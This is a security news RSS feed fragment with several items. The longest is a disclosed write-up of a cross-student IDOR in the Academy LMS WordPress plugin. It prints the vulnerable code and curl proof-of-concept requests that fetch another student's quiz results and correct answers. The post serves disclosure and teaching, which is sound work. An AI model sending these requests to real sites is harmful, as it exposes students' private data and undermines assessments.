<content:encoded><![CDATA[The Asus ROG Swift 32-inch 4K QD-OLED gaming monitor has almost everything I want in a high-end gaming monitor, most notably a QD-OLED panel for inky black levels and vivid colors that go beyond what’s possible on an LCD screen. Amazon, Best Buy, and B&amp;H Photo have this model on sale for $899.99 (usually $1,299.99). […]]]></content:encoded>
</item>
<item>
<title><![CDATA[DeepSeek weighs new fundraising a month after closing first round]]></title>
<description><![CDATA[Unusually swift pace of capital injection comes as Chinese AI start-up seeks to build out infrastructure]]></description>
<link>https://tsecurity.de/de/3676201/ai-nachrichten/deepseek-weighs-new-fundraising-a-month-after-closing-first-round/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676201/ai-nachrichten/deepseek-weighs-new-fundraising-a-month-after-closing-first-round/</guid>
<pubDate>Fri, 17 Jul 2026 15:33:59 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Unusually swift pace of capital injection comes as Chinese AI start-up seeks to build out infrastructure]]></content:encoded>
</item>
<item>
<title><![CDATA[LegacyHive Windows Zero-Day Lets Attackers Hijack Administrator Registry Hives]]></title>
<description><![CDATA[A newly disclosed Windows local privilege-escalation vulnerability, dubbed LegacyHive, could allow a standard user to load and modify the per-user registry classes hive of an administrator account. The proof-of-concept (PoC), published by researcher NightmareEclipse under the MSNightmare/LegacyHi...]]></description>
<link>https://tsecurity.de/de/3676157/it-security-nachrichten/legacyhive-windows-zero-day-lets-attackers-hijack-administrator-registry-hives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676157/it-security-nachrichten/legacyhive-windows-zero-day-lets-attackers-hijack-administrator-registry-hives/</guid>
<pubDate>Fri, 17 Jul 2026 15:24:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A newly disclosed Windows local privilege-escalation vulnerability, dubbed LegacyHive, could allow a standard user to load and modify the per-user registry classes hive of an administrator account. The proof-of-concept (PoC), published by researcher NightmareEclipse under the MSNightmare/LegacyHive GitHub repository, abuses…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/legacyhive-windows-zero-day-lets-attackers-hijack-administrator-registry-hives/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/legacyhive-windows-zero-day-lets-attackers-hijack-administrator-registry-hives/">LegacyHive Windows Zero-Day Lets Attackers Hijack Administrator Registry Hives</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[LegacyHive Windows Zero-Day Lets Attackers Hijack Administrator Registry Hives]]></title>
<description><![CDATA[A newly disclosed Windows local privilege-escalation vulnerability, dubbed LegacyHive, could allow a standard user to load and modify the per-user registry classes hive of an administrator account. The proof-of-concept (PoC), published by researcher NightmareEclipse under the MSNightmare/LegacyHi...]]></description>
<link>https://tsecurity.de/de/3676056/it-security-nachrichten/legacyhive-windows-zero-day-lets-attackers-hijack-administrator-registry-hives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676056/it-security-nachrichten/legacyhive-windows-zero-day-lets-attackers-hijack-administrator-registry-hives/</guid>
<pubDate>Fri, 17 Jul 2026 14:39:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A newly disclosed Windows local privilege-escalation vulnerability, dubbed LegacyHive, could allow a standard user to load and modify the per-user registry classes hive of an administrator account. The proof-of-concept (PoC), published by researcher NightmareEclipse under the MSNightmare/LegacyHive GitHub repository, abuses Windows’ User Profile Service to mount a target user’s UsrClass.dat hive into a registry location […]</p>
<p>The post <a href="https://gbhackers.com/legacyhive-windows-zero-day/">LegacyHive Windows Zero-Day Lets Attackers Hijack Administrator Registry Hives</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers]]></title>
<description><![CDATA[Author: Shikhali Jamalzade GitHub: alisalive LinkedIn: camalzads Type: Independent Security Research | WordPress Plugin CVE ResearchThis is a write-up of a vulnerability I independently discovered in Academy LMS, a WordPress LMS plugin with 2,000+ active installations. The vulnerability allowed a...]]></description>
<link>https://tsecurity.de/de/3675346/hacking/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675346/hacking/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:36 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yTFnySBjd6cxjcwiw7Mxpg.png"></figure><h4>Author: <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a> <br>GitHub: <a href="http://github.com/alisalive">alisalive</a> <br>LinkedIn: <a href="http://linkedin.com/in/camalzads">camalzads</a> <br>Type: Independent Security Research | WordPress Plugin CVE Research</h4><p>This is a write-up of a vulnerability I independently discovered in Academy LMS, a WordPress LMS plugin with 2,000+ active installations. The vulnerability allowed any enrolled student to read another student’s private quiz results and extract the correct answers to quiz questions — before or during an attempt. It was independently confirmed by another researcher, has since been patched, and this write-up is being published after the fix was released.</p><p>Background: Why Academy LMS</p><p>My WordPress plugin research methodology targets plugins in the 500–9,000 active installations range — a zone that tends to receive less security scrutiny than larger plugins while still having enough real-world deployment to matter. For each candidate, I start with passive analysis: reading the changelog for security-related keywords, reviewing the readme, and checking WPScan’s vulnerability history before touching any code.</p><p>Academy LMS caught my attention because its 3.8.1 changelog contained a specific entry: “Fixed — AJAX API vulnerability in the Notes feature.” This is one of the strongest signals I look for. A developer who has already fixed a security issue in one part of a codebase often used the same patterns elsewhere — and those other places sometimes didn’t get fixed at the same time. My hypothesis was simple: if the Notes controller was fixed, what about the Quiz controller?</p><p>This turned out to be exactly the right question.</p><p>Understanding the Architecture</p><p>Academy LMS uses two parallel systems for handling API requests.</p><p>The first is a centralized AJAX handler defined in includes/classes/abstract-ajax-handler.php. Every AJAX action registered through this base class passes through handle_ajax_request(), which enforces nonce validation and capability checks before dispatching to the actual callback. This is a solid design pattern.</p><p>The second system is a collection of REST controllers under includes/api/ and addons/quizzes/api/. Each controller registers its own routes via register_rest_route() and defines its own permission_callback per endpoint. This is where consistency breaks down.</p><p>When I grepped for permission_callback across the entire plugin, the Notes controller showed the correct pattern: every route used array($this, 'permissions_check'), and that function derived the user via get_current_user_id(), never accepting a user identifier from the request. The Notes fix had made this air-tight.</p><p>The Quiz attempts controller told a different story.</p><p>Two routes in addons/quizzes/api/quiz-questions.php used 'permission_callback' =&gt; '__return_true' — meaning no authentication required at all for those endpoints. That was worth noting. But the more serious issue was in addons/quizzes/api/quiz-attempts.php, specifically in the get_student_quiz_attempt_details endpoint.</p><p>The Vulnerability: Two Separate Failure Points</p><p>The get_student_quiz_attempt_details handler had two independent authorization failures that together created a working IDOR.</p><p>Failure point one: the target user was read from the request, not the session.</p><pre>// addons/quizzes/api/quiz-attempts.php, line ~305<br>$student_id = $request-&gt;get_param( 'user_id' );<br>if ( ! $student_id ) {<br>    $student_id = get_current_user_id();<br>}</pre><p>The handler falls back to the session user only if user_id is absent from the request. Any caller who supplies a user_id parameter gets that value used as the target identity. This is the classic IDOR setup: the object being accessed is determined by a client-controlled key.</p><p>Failure point two: the access gate was evaluated against the victim’s context, not the caller’s.</p><pre>// lines ~308-315<br>$is_administrator = current_user_can( 'administrator' );<br>$is_instructor    = \Academy\Helper::is_instructor_of_this_course( $student_id, $course_id );<br>$enrolled         = \Academy\Helper::is_enrolled( $course_id, $student_id );<br>$is_public        = \Academy\Helper::is_public_course( $course_id );</pre><pre>if ( $is_administrator || $is_instructor || $enrolled || $is_public ) {<br>    // returns attempt details<br>}</pre><p>Notice that is_instructor_of_this_course and is_enrolled both receive $student_id — the attacker-controlled value — not get_current_user_id(). So when an attacker supplies a victim's user_id, the gate asks "is the victim enrolled in this course?" rather than "is the caller enrolled in this course?" If the victim is enrolled (which they must be to have a quiz attempt), the gate returns true, and the handler proceeds to fetch and return that victim's data.</p><p>The database query confirmed the full impact:</p><pre>// classes/query.php, get_quiz_attempt_details()<br>"SELECT<br>    attempt_answers.attempt_id,<br>    attempt_answers.user_id,<br>    attempt_answers.is_correct,<br>    attempt_answers.answer as given_answer,<br>    quiz_answers.answer_title as correct_answer,<br>    quiz_answers.answer_content,<br>    quiz_answers.is_correct as is_correct_answer,<br>    quiz_questions.question_title,<br>    quiz_questions.question_type,<br>    ...<br>FROM {$wpdb-&gt;prefix}academy_quiz_attempt_answers as attempt_answers<br>LEFT JOIN {$wpdb-&gt;prefix}academy_quiz_answers as quiz_answers<br>    ON attempt_answers.question_id = quiz_answers.question_id<br>WHERE attempt_answers.attempt_id=%d AND attempt_answers.user_id=%d"</pre><p>The SELECT *-style join pulled answer_title and answer_content from the quiz_answers table — rows that include is_correct=1 entries, meaning the correct answers. The response handed the full set to the caller: every question the victim answered, whether they got it right, and what the correct answer was.</p><p>The same vulnerable function was exposed through two independent entry points. The REST route at /wp-json/academy/v1/quiz_attempts/{id}/get_student_quiz_attempt_details used this logic directly. The AJAX action academy_quizzes/get_student_quiz_attempt_details via /wp-admin/admin-ajax.php used an identical copy of the same handler in addons/quizzes/ajax/frontend.php.</p><p>Both were confirmed exploitable during testing.</p><p>The Contrast with the Fixed Code</p><p>What made this particularly clear-cut was the comparison with the Notes controller. The fix that had been shipped for Notes followed a textbook pattern:</p><pre>// includes/api/notes.php (fixed)<br>public function get_user_notes( $request ) {<br>    $user_id = get_current_user_id();<br>    // ...<br>}</pre><p>No $request-&gt;get_param('user_id'). The user identity is always taken from the authenticated session. The Quiz handler simply never received the same treatment.</p><p>This is a pattern I have seen repeatedly in plugin codebases: a developer identifies and fixes a class of vulnerability in one module, but the fix is not propagated to sibling modules that share the same pattern. The developer who wrote the Notes fix clearly understood the right approach. The Quiz addon was not updated to match.</p><p>Live Proof of Concept</p><p>I reproduced this against a local Docker environment running WordPress with Academy LMS 3.8.2 and the Quizzes addon enabled.</p><p>Actors in the test:</p><ul><li>Attacker: pocsubscriber (user ID 4, Subscriber role), enrolled in a shared course</li><li>Victim: victimstudent (user ID 5, Subscriber role), enrolled in the same course, with a completed quiz attempt containing a seeded correct-answer marker</li></ul><p>The attacker authenticates normally and obtains a valid REST nonce:</p><pre>curl -s -c cj.txt "http://TARGET/wp-login.php" -o /dev/null<br>curl -s -b cj.txt -c cj.txt \<br>  --data-urlencode 'log=pocsubscriber' \<br>  --data-urlencode 'pwd=PASSWORD' \<br>  --data-urlencode 'wp-submit=Log In' \<br>  --data-urlencode 'testcookie=1' \<br>  "http://TARGET/wp-login.php" -o /dev/null</pre><pre>NONCE=$(curl -s -b cj.txt \<br>  "http://TARGET/wp-admin/admin-ajax.php?action=rest-nonce")</pre><p>The attacker then sends a request supplying the victim’s user_id and attempt_id:</p><pre>curl -s -b cj.txt -H "X-WP-Nonce: $NONCE" \<br>  "http://TARGET/wp-json/academy/v1/quiz_attempts/3/get_student_quiz_attempt_details?course_id=32&amp;user_id=5"</pre><p>The response:</p><pre>{<br>  "3": {<br>    "attempt_id": "3",<br>    "user_id": "5",<br>    "is_correct": true,<br>    "given_answer": [],<br>    "correct_answer": [<br>      {<br>        "answer_id": "2",<br>        "quiz_id": "33",<br>        "answer_title": "SECRET_CORRECT_Paris",<br>        "answer_order": "1"<br>      }<br>    ],<br>    "answer_content": "CORRECT_ANSWER_CONTENT",<br>    "question_title": "Capital of France?",<br>    "question_type": "true_false"<br>  }<br>}</pre><p>User ID 4 received user ID 5’s quiz data, including the seeded correct-answer marker SECRET_CORRECT_Paris. The same result was reproduced via the AJAX vector:</p><pre>curl -s -b cj.txt \<br>  --data-urlencode 'action=academy_quizzes/get_student_quiz_attempt_details' \<br>  --data-urlencode 'security=ACADEMY_NONCE' \<br>  --data-urlencode 'course_id=32' \<br>  --data-urlencode 'attempt_id=3' \<br>  --data-urlencode 'user_id=5' \<br>  "http://TARGET/wp-admin/admin-ajax.php"</pre><p>Response: "success": true, same data.</p><p>Impact Assessment</p><p>The impact has two distinct dimensions.</p><p>The first is a straightforward confidentiality breach. Any enrolled student could enumerate other students’ quiz attempts by iterating over sequential attempt_id and user_id integers — both auto-increment, both trivially guessable. For every attempt they could retrieve the submitted answers, whether each answer was correct, and the final score. In an educational context, this is a meaningful privacy violation: a student's quiz performance is personal data.</p><p>The second dimension is academic integrity. The correct_answer field in the response exposes the correct answers to every quiz question, regardless of whether the requester has even started the quiz. A student could query this endpoint before beginning an attempt, extract the answer key, and complete the quiz with full knowledge of all correct answers. Every graded assessment built on the Academy LMS Quizzes addon was affected.</p><p>The required access level was Subscriber — the lowest authenticated role in WordPress. Any user who could create an account and enroll in a course could exploit this. In the free edition, is_public_course() always returns false due to an unregistered hook, so the practical attack surface was authenticated cross-student access within any shared course. This is the normal LMS use case: multiple students in the same course.</p><p>CVSS 3.1 score: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).</p><p>Disclosure Timeline</p><p>Discovery and full proof-of-concept (both vectors confirmed): 2026–07–02</p><p>Vendor notified via email to contact@kodezen.com with full technical description, affected code locations, and suggested remediation: 2026–07–02</p><p>Submitted to WPScan vulnerability database with CVE request: 2026–07–02</p><p>WPScan confirmed the vulnerability was already being tracked (independent discovery, duplicate submission): 2026–07–02</p><p>Fix confirmed in latest version by code review (all $request-&gt;get_param('user_id') references replaced with get_current_user_id() throughout quiz-attempts.php): 2026-07-10</p><p>Write-up published: 2026–07–10</p><p>The Fix</p><p>The vendor addressed the vulnerability by replacing all attacker-controlled user identity references with session-derived values. In the current version of addons/quizzes/api/quiz-attempts.php:</p><pre>// Before (vulnerable):<br>$student_id = $request-&gt;get_param( 'user_id' );<br>if ( ! $student_id ) {<br>    $student_id = get_current_user_id();<br>}</pre><pre>// After (fixed):<br>$current_user_id = get_current_user_id();</pre><p>The access gate now evaluates is_enrolled and is_instructor_of_this_course against the authenticated caller, not a request-supplied identity. The fix was applied consistently across both the REST and AJAX entry points. If you are running Academy LMS with the Quizzes addon, update to the latest version.</p><p>What This Teaches</p><p>A few things stood out during this research that are worth naming explicitly.</p><p>The inconsistent-fix pattern is real and worth hunting deliberately. When a plugin ships a security fix in one module, the most productive next step is to find every module that uses the same pattern and check whether it was updated. In this case, the Notes controller and the Quiz controller shared the same conceptual flaw. The fix applied to Notes in 3.8.1 was not carried through to the Quiz addon. This is not negligence — it is a natural consequence of how security fixes get written. A developer identifies a specific bug, fixes that specific bug, and moves on. The audit that would catch the sibling issue requires a broader view.</p><p>The access gate placement matters as much as the access gate logic. The permission_callback on the REST route only checked whether the caller was logged in and associated with the course in a general sense. It did not check whether the object being requested (the specific attempt) belonged to the caller. Object-level authorization — checking not just “can this user access this resource type” but “can this user access this specific resource instance” — needs to happen at the data retrieval layer, not just at the route entry point. This is the core of what OWASP calls Broken Object-Level Authorization (BOLA), the top item in the OWASP API Security Top 10.</p><p>Sequential integer identifiers make IDOR exploitable at scale. When attempt_id and user_id are both auto-increment database integers, an attacker does not need to know specific values to enumerate the data. They iterate. Opaque identifiers (UUIDs, non-sequential tokens) raise the bar, but they are not a substitute for proper authorization — they only make enumeration harder, not impossible if an attacker has access to any valid identifier. The fix here was correct: enforce ownership at the query layer regardless of identifier type.</p><p><em>If you found this useful, feel free to connect on</em> <a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a> <em>or check out my projects on</em> <a href="http://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=c68bfe06f3a0" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers-c68bfe06f3a0">How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Faces Class Action Lawsuit Over Alleged Hide My Email Privacy Flaw]]></title>
<description><![CDATA[Apple is facing a proposed class action lawsuit over claims that its Hide My Email feature failed to protect users’ real email addresses as promised. The case argues that Apple knew about an alleged privacy flaw for more than a year while continuing to promote the feature as part of its wider pri...]]></description>
<link>https://tsecurity.de/de/3675031/ios-mac-os/apple-faces-class-action-lawsuit-over-alleged-hide-my-email-privacy-flaw/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675031/ios-mac-os/apple-faces-class-action-lawsuit-over-alleged-hide-my-email-privacy-flaw/</guid>
<pubDate>Fri, 17 Jul 2026 06:23:34 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is facing a proposed class action lawsuit over claims that its Hide My Email feature failed to protect users’ real email addresses as promised. The case argues that Apple knew about an alleged privacy flaw for more than a year while continuing to promote the feature as part of its wider privacy services.



Hide My Email creates random email addresses that forward messages to a user’s personal inbox. Apple includes a basic version with Sign in with Apple, while iCloud+ subscribers can create additional addresses for websites, newsletters, apps, and other online services.



Lawsuit questions Apple’s privacy claims



404 Media previously reported that a security researcher informed Apple about the alleged flaw in June 2025. Apple acknowledged the report several weeks later, but the researcher claimed the issue remained exploitable even after Apple said it had addressed the problem in March 2026.



The lawsuit was filed by California resident Anthony Alvarez, who says he paid for iCloud+ and relied on Apple’s claim that Hide My Email would keep his personal address private. He argues that customers paid a premium for Apple products and subscriptions partly because the company promotes privacy as a major benefit.



MacRumors reported that Alvarez wants the court to approve four proposed groups, including nationwide and California classes covering Apple customers and iCloud+ subscribers who used Hide My Email.



The complaint says the combined value of the proposed claims exceeds $5 million, although it does not provide a detailed calculation. It also refers to an earlier privacy issue involving Apple’s randomized MAC address feature, which researchers said could expose real hardware identifiers.



Alvarez is seeking financial compensation, a jury trial, and a court order requiring Apple to fix Hide My Email or clearly explain its limitations. Apple has not publicly commented on the lawsuit.]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.387.0]]></title>
<description><![CDATA[What's Changed

Type the gradle, swift, and pre_commit ecosystems by @JamieMagee in #15534
Default cooldown to 3 days when default-days is not specified (behind a feature flag) by @robaiken with @Copilot in #15344
Use shared base cooldown in git_submodules by @robaiken in #15537
[Update graph] Av...]]></description>
<link>https://tsecurity.de/de/3674606/it-security-tools/v03870/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674606/it-security-tools/v03870/</guid>
<pubDate>Thu, 16 Jul 2026 22:33:50 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Type the gradle, swift, and pre_commit ecosystems by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4834841548" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15534" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15534/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15534">#15534</a></li>
<li>Default cooldown to 3 days when default-days is not specified (behind a feature flag) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/robaiken/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/robaiken">@robaiken</a> with @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4684952757" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15344" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15344/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15344">#15344</a></li>
<li>Use shared base cooldown in git_submodules by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/robaiken/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/robaiken">@robaiken</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4837613550" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15537" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15537/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15537">#15537</a></li>
<li>[Update graph] Avoid PathDependenciesNotReachable killing the whole job by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brrygrdn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brrygrdn">@brrygrdn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4830807905" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15522" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15522/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15522">#15522</a></li>
<li>[Update Graph] Ensure that txt/in pairs are included properly in layers when working out references by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brrygrdn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brrygrdn">@brrygrdn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4884201019" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15581" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15581/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15581">#15581</a></li>
<li>build(deps): bump opentofu to 1.12.1 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RinseV/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RinseV">@RinseV</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4597635124" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15231" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15231/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15231">#15231</a></li>
<li>Type the Sentry before_send processors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4879702128" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15569" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15569/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15569">#15569</a></li>
<li>Clear T.untyped from four strong updater files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4879809730" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15570" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15570/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15570">#15570</a></li>
<li>feat(opentofu): use registry API for multi-platform lockfile hashes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/diofeher/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/diofeher">@diofeher</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4651320321" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15296" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15296/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15296">#15296</a></li>
<li>julia: various fixes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IanButterworth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IanButterworth">@IanButterworth</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4851258737" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15549" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15549/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15549">#15549</a></li>
<li>Type git_metadata_fetcher's git responses by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4879876600" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15572" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15572/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15572">#15572</a></li>
<li>pre-commit: add regression tests for prerelease version filtering by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/v-HaripriyaC/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/v-HaripriyaC">@v-HaripriyaC</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840941300" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15542" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15542/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15542">#15542</a></li>
<li>add test ensuring duplicate PRs aren't submitted in security jobs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brettfo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brettfo">@brettfo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4887247831" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15584" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15584/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15584">#15584</a></li>
<li>Clear T.untyped from already-strong ecosystem files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4880025222" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15573" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15573/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15573">#15573</a></li>
<li>Update branch name case values to align with schema accepted values by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AbhishekBhaskar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AbhishekBhaskar">@AbhishekBhaskar</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4896350580" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15592" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15592/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15592">#15592</a></li>
<li>julia: fix TypeError when a cooldown is configured by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IanButterworth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IanButterworth">@IanButterworth</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4894957881" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15591" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15591/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15591">#15591</a></li>
<li>Fix codespell typo in updater job spec by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thavaahariharangit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thavaahariharangit">@thavaahariharangit</a> with @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4900648669" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15599" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15599/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15599">#15599</a></li>
<li>Swift: SemVer-compliant version comparison and validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/v-HaripriyaC/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/v-HaripriyaC">@v-HaripriyaC</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4891805578" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15589" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15589/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15589">#15589</a></li>
